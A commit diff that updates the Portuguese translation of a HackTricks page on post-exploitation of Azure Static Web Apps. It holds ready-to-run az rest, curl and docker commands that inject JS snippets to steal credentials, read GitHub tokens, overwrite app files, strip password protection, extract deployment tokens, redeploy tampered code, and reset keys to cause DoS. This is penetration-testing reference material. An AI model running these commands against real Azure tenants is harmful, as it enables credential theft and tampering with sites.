mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+34
-27
@@ -1,4 +1,4 @@
|
||||
# Az - Static Web Apps Pós Exploração
|
||||
# Az - Static Web Apps Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,9 +12,9 @@ Para mais informações sobre este serviço, consulte:
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
É possível fazer uma página web estática carregar código HTML arbitrário criando um snippet. Isso poderia permitir que um atacante injetasse código JS dentro do aplicativo web e roubasse informações sensíveis, como credenciais ou chaves mnemônicas (em carteiras web3).
|
||||
É possível fazer uma página web estática carregar código HTML arbitrário criando um snippet. Isso pode permitir que um atacante injete código JS dentro do web app e roube informações sensíveis, como credenciais ou chaves mnemônicas (em web3 wallets).
|
||||
|
||||
O seguinte comando cria um snippet que sempre será carregado pelo aplicativo web::
|
||||
O comando a seguir cria um snippet que será sempre carregado pelo web app::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
@@ -31,15 +31,15 @@ az rest \
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Ler Credenciais de Terceiros Configuradas
|
||||
### Ler credenciais de terceiros configuradas
|
||||
|
||||
Conforme explicado na seção App Service:
|
||||
Como explicado na seção App Service:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Executando o seguinte comando, é possível **ler as credenciais de terceiros** configuradas na conta atual. Note que, se por exemplo, algumas credenciais do Github estiverem configuradas em um usuário diferente, você não poderá acessar o token de outro.
|
||||
Executando o seguinte comando é possível **ler as credenciais de terceiros** configuradas na conta atual. Note que, por exemplo, se algumas credenciais do Github estiverem configuradas em um usuário diferente, você não conseguirá acessar o token a partir de outro.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
@@ -69,14 +69,14 @@ curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Overwrite file - Overwrite routes, HTML, JS...
|
||||
### Sobrescrever arquivo - Sobrescrever rotas, HTML, JS...
|
||||
|
||||
É possível **substituir um arquivo dentro do repositório do Github** que contém o aplicativo através do Azure, enviando um pedido com o **token do Github** como o seguinte, que indicará o caminho do arquivo a ser substituído, o conteúdo do arquivo e a mensagem de commit.
|
||||
É possível **sobrescrever um arquivo dentro do Github repo** que contém o app através do Azure tendo o **Github token**, enviando uma requisição como a seguinte que indicará o caminho do arquivo a ser sobrescrito, o conteúdo do arquivo e a mensagem de commit.
|
||||
|
||||
Isso pode ser explorado por atacantes para basicamente **mudar o conteúdo do aplicativo web** para servir conteúdo malicioso (roubar credenciais, chaves mnemônicas...) ou apenas para **redirecionar certos caminhos** para seus próprios servidores, substituindo o arquivo `staticwebapp.config.json`.
|
||||
Isso pode ser abusado por atacantes para basicamente **alterar o conteúdo do web app** para servir conteúdo malicioso (steal credentials, mnemonic keys...) ou apenas **redirecionar certos caminhos** para seus próprios servidores sobrescrevendo o `staticwebapp.config.json`.
|
||||
|
||||
> [!WARNING]
|
||||
> Note que se um atacante conseguir comprometer o repositório do Github de qualquer forma, ele também pode substituir o arquivo diretamente do Github.
|
||||
> Observe que, se um atacante conseguir comprometer o Github repo de qualquer forma, ele também pode sobrescrever o arquivo diretamente a partir do Github.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
@@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
Com esta permissão, é possível **modificar a senha** que protege um aplicativo web estático ou até mesmo desproteger todos os ambientes enviando uma solicitação como a seguinte:
|
||||
Com essa permissão, é possível **modificar a senha** que protege um static web app ou até mesmo desproteger todos os ambientes enviando uma requisição como a seguinte:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
@@ -133,32 +133,38 @@ az rest --method put \
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
Esta permissão permite obter o **token de implantação da chave API** para o aplicativo estático:
|
||||
Esta permissão permite obter o **API key deployment token** para o aplicativo estático.
|
||||
|
||||
Usando az rest:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Então, para **atualizar um aplicativo usando o token**, você poderia executar o seguinte comando. Note que este comando foi extraído verificando **como o Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) funciona**, já que é o que a Azure definiu como padrão para usar. Portanto, a imagem e os parâmetros podem mudar no futuro.
|
||||
Usando AzCLI:
|
||||
```bash
|
||||
az staticwebapp secrets list --name <appname> --resource-group <RG>
|
||||
```
|
||||
Então, para **atualizar uma aplicação usando o token** você pode executar o comando a seguir. Observe que este comando foi extraído verificando **como o Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) funciona**, pois é o que a Azure definiu por padrão para usar. Portanto, a imagem e os parâmetros podem mudar no futuro.
|
||||
|
||||
> [!TIP]
|
||||
> Para implantar o aplicativo, você poderia usar a ferramenta **`swa`** de [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) ou seguir os seguintes passos brutos:
|
||||
> Para implantar a aplicação você pode usar a ferramenta **`swa`** de [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) ou seguir os passos abaixo:
|
||||
|
||||
1. Baixe o repositório [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ou qualquer outro repositório que você queira implantar) e execute `cd react-basic`.
|
||||
2. Altere o código que você deseja implantar.
|
||||
3. Implante-o executando (lembre-se de mudar o `<api-token>`):
|
||||
1. Faça o download do repositório [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ou de qualquer outro repositório que você queira implantar) e execute `cd react-basic`.
|
||||
2. Altere o código que você deseja implantar
|
||||
3. Implante executando (Lembre-se de trocar o `<api-token>`):
|
||||
```bash
|
||||
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Mesmo que você tenha o token, não será possível implantar o aplicativo se a **Política de Autorização de Implantação** estiver definida como **Github**. Para usar o token, você precisará da permissão `Microsoft.Web/staticSites/write` para alterar o método de implantação para usar o token da API.
|
||||
> Mesmo que você tenha o token, você não conseguirá implantar o app se a **Deployment Authorization Policy** estiver definida como **Github**. Para usar o token você precisará da permissão `Microsoft.Web/staticSites/write` para alterar o método de implantação para usar th APi token.
|
||||
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
Com essa permissão, é possível **mudar a fonte do aplicativo web estático para um repositório Github diferente**, no entanto, ele não será provisionado automaticamente, pois isso deve ser feito a partir de uma Ação do Github.
|
||||
Com essa permissão é possível **alterar a origem do static web app para um repositório Github diferente**, entretanto, ele não será provisionado automaticamente, pois isso deve ser feito a partir de um Github Action.
|
||||
|
||||
No entanto, se a **Política de Autorização de Implantação** estiver definida como **Github**, é possível **atualizar o aplicativo a partir do novo repositório de origem!**.
|
||||
No entanto, se a **Deployment Authotization Policy** estiver definida como **Github**, é possível **atualizar o app a partir do novo repositório de origem!**.
|
||||
|
||||
Caso a **Política de Autorização de Implantação** não esteja definida como Github, você pode alterá-la com a mesma permissão `Microsoft.Web/staticSites/write`.
|
||||
Caso a **Deployment Authorization Policy** não esteja definida como Github, você pode alterá-la com a mesma permissão `Microsoft.Web/staticSites/write`.
|
||||
```bash
|
||||
# Change the source to a different Github repository
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
@@ -181,7 +187,7 @@ az rest --method PATCH \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Exemplo de Github Action para implantar o aplicativo:
|
||||
Exemplo de Github Action para implantar a aplicação:
|
||||
```yaml
|
||||
name: Azure Static Web Apps CI/CD
|
||||
|
||||
@@ -244,14 +250,14 @@ action: "close"
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
Com esta permissão, é possível **reiniciar a chave da API do aplicativo web estático**, potencialmente causando DoS nos fluxos de trabalho que implantam automaticamente o aplicativo.
|
||||
Com essa permissão é possível **resetar a API key do static web app**, potencialmente DoSing os workflows que implantam automaticamente o app.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
### Microsoft.Web/staticSites/createUserInvitation/action
|
||||
|
||||
Esta permissão permite **criar um convite para um usuário** acessar caminhos protegidos dentro de um aplicativo web estático com um papel específico dado.
|
||||
Esta permissão permite **criar um convite para um usuário** para acessar caminhos protegidos dentro de uma static web app com um papel específico.
|
||||
|
||||
O login está localizado em um caminho como `/.auth/login/github` para github ou `/.auth/login/aad` para Entra ID e um usuário pode ser convidado com o seguinte comando:
|
||||
```bash
|
||||
@@ -266,11 +272,12 @@ az staticwebapp users invite \
|
||||
```
|
||||
### Pull Requests
|
||||
|
||||
Por padrão, Pull Requests de um branch no mesmo repositório serão automaticamente compilados e construídos em um ambiente de staging. Isso pode ser explorado por um atacante com acesso de escrita ao repositório, mas sem conseguir contornar as proteções do branch de produção (geralmente `main`) para **implantar uma versão maliciosa do app** na URL de staging.
|
||||
Por padrão Pull Requests de uma branch no mesmo repo serão automaticamente compilados e construídos em um ambiente de staging. Isso poderia ser abusado por um atacante com acesso de escrita ao repo, mas sem conseguir contornar as branch protections da branch de produção (normalmente `main`) para **implantar uma versão maliciosa do app** na URL de staging.
|
||||
|
||||
A URL de staging tem este formato: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` como: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
> [!TIP]
|
||||
> Note que, por padrão, PRs externos não executarão workflows a menos que tenham mesclado pelo menos 1 PR no repositório. Um atacante poderia enviar um PR válido para o repositório e **então enviar um PR malicioso** para o repositório para implantar o app malicioso no ambiente de staging. NO ENTANTO, há uma proteção inesperada, a ação padrão do Github para implantar no aplicativo web estático precisa de acesso ao segredo contendo o token de implantação (como `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), mesmo que a implantação seja feita com o IDToken. Isso significa que, como um PR externo não terá acesso a esse segredo e um PR externo não pode alterar o Workflow para colocar aqui um token arbitrário sem que um PR seja aceito, **esse ataque realmente não funcionará**.
|
||||
> Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and **then send a malicious PR** to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, **this attack won't really work**.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user